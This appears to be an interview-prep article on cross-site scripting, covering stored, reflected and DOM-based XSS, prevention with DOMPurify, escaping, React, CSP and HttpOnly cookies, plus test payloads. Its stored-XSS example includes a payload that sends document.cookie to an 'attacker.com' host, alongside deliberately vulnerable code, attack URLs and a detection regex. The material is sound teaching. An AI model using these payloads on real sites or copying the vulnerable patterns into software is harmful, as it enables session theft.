Skip to main content
Practice Problems

What is XSS and how to prevent it?

XSS (Cross-Site Scripting) is one of the most common web vulnerabilities where attackers inject malicious JavaScript into web pages viewed by other users.

Types of XSS

1. Stored XSS (Persistent)

Malicious script is stored in database and executed when users view the page.

javascript
// Vulnerable code app.post('/comment', (req, res) => { const comment = req.body.comment; // User input db.save({ comment }); // Stored directly! }); // Display page app.get('/comments', (req, res) => { const comments = db.getAll(); res.send(` <div>${comments.map(c => c.comment).join('')}</div> `); // ❌ Executed if comment contains <script> }); // Attack payload <script> fetch('https://attacker.com/steal?cookie=' + document.cookie); </script>

2. Reflected XSS

Script is reflected from web server (URL parameter, form input).

javascript
// Vulnerable search app.get('/search', (req, res) => { const query = req.query.q; res.send(`<h1>Results for: ${query}</h1>`); // ❌ Reflected! }); // Attack URL https://site.com/search?q=<script>alert(document.cookie)</script>

3. DOM-based XSS

Vulnerability exists in client-side code.

javascript
// Vulnerable client code const params = new URLSearchParams(window.location.search); const name = params.get('name'); document.getElementById('greeting').innerHTML = `Hello ${name}`; // ❌ // Attack URL https://site.com?name=<img src=x onerror=alert(1)>

Prevention Methods

1. Input Sanitization

javascript
// Node.js with DOMPurify const createDOMPurify = require('dompurify'); const { JSDOM } = require('jsdom'); const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.post('/comment', (req, res) => { const comment = DOMPurify.sanitize(req.body.comment); db.save({ comment }); });

2. Output Escaping

javascript
// Escape HTML entities function escapeHtml(unsafe) { return unsafe .replace(/&/g, "&amp;") .replace(/</g, "&lt;") .replace(/>/g, "&gt;") .replace(/"/g, "&quot;") .replace(/'/g, "&#039;"); } app.get('/comments', (req, res) => { const comments = db.getAll(); const safe = comments.map(c => escapeHtml(c.comment)); res.send(`<div>${safe.join('')}</div>`); });

3. React Auto-Escaping

jsx
// ✅ React automatically escapes function Comment({ text }) { return <div>{text}</div>; // Automatically escaped! } // ❌ Dangerous - bypasses protection function UnsafeComment({ html }) { return <div dangerouslySetInnerHTML={{ __html: html }} />; } // ✅ Safe with sanitization import DOMPurify from 'dompurify'; function SafeHtmlComment({ html }) { const clean = DOMPurify.sanitize(html); return <div dangerouslySetInnerHTML={{ __html: clean }} />; }

4. Content Security Policy (CSP)

javascript
// Express.js app.use((req, res, next) => { res.setHeader( 'Content-Security-Policy', "default-src 'self'; " + "script-src 'self' 'nonce-random123'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:;" ); next(); });
html
<!-- Use nonce for inline scripts --> <script nonce="random123"> console.log('Allowed script'); </script>

5. HTTP-only Cookies

javascript
// Prevent JavaScript access to cookies res.cookie('session', sessionId, { httpOnly: true, // Cannot be accessed by JavaScript secure: true, sameSite: 'strict' });

Real-World Example

javascript
// Complete protection const express = require('express'); const helmet = require('helmet'); // Security headers const DOMPurify = require('isomorphic-dompurify'); const app = express(); // 1. Security headers app.use(helmet()); // 2. CSP app.use(helmet.contentSecurityPolicy({ directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'", "'nonce-randomNonce'"], styleSrc: ["'self'", "'unsafe-inline'"] } })); // 3. Input validation const validateComment = (comment) => { if (typeof comment !== 'string') return false; if (comment.length > 1000) return false; if (/<script|javascript:|onerror=/i.test(comment)) return false; return true; }; // 4. Sanitization + escaping app.post('/api/comment', (req, res) => { const raw = req.body.comment; if (!validateComment(raw)) { return res.status(400).send('Invalid input'); } const sanitized = DOMPurify.sanitize(raw); db.save({ comment: sanitized }); res.json({ success: true }); });

Testing for XSS

Common test payloads:

html
<script>alert('XSS')</script> <img src=x onerror=alert('XSS')> <svg onload=alert('XSS')> javascript:alert('XSS') <iframe src="javascript:alert('XSS')">

Interview Questions

  1. Q: What's difference between XSS and CSRF? A: XSS injects malicious scripts to steal data. CSRF tricks users into performing unwanted actions. XSS directly attacks users, CSRF exploits authentication.

  2. Q: Why does React prevent XSS by default? A: React escapes all values embedded in JSX before rendering, converting dangerous characters to safe HTML entities.

  3. Q: Can CSP completely prevent XSS? A: No, but it significantly reduces risk by restricting script sources and preventing inline scripts.

  4. Q: Is sanitization enough? A: Use defense in depth: sanitization + escaping + CSP + validation + HTTP-only cookies.

Best Practices

DO:

  • Escape all user input before displaying
  • Use frameworks with built-in protection (React, Angular)
  • Implement Content Security Policy
  • Validate input on both client and server
  • Use HTTP-only cookies for sensitive data
  • Sanitize rich text/HTML input

DON'T:

  • Trust any user input
  • Use dangerouslySetInnerHTML without sanitization
  • Rely on client-side validation only
  • Insert user data directly into HTML/JavaScript
  • Allow inline scripts in CSP unless absolutely necessary

Short Answer

Interview ready
Premium

A concise answer to help you respond confidently on this topic during an interview.

Finished reading?
Practice Problems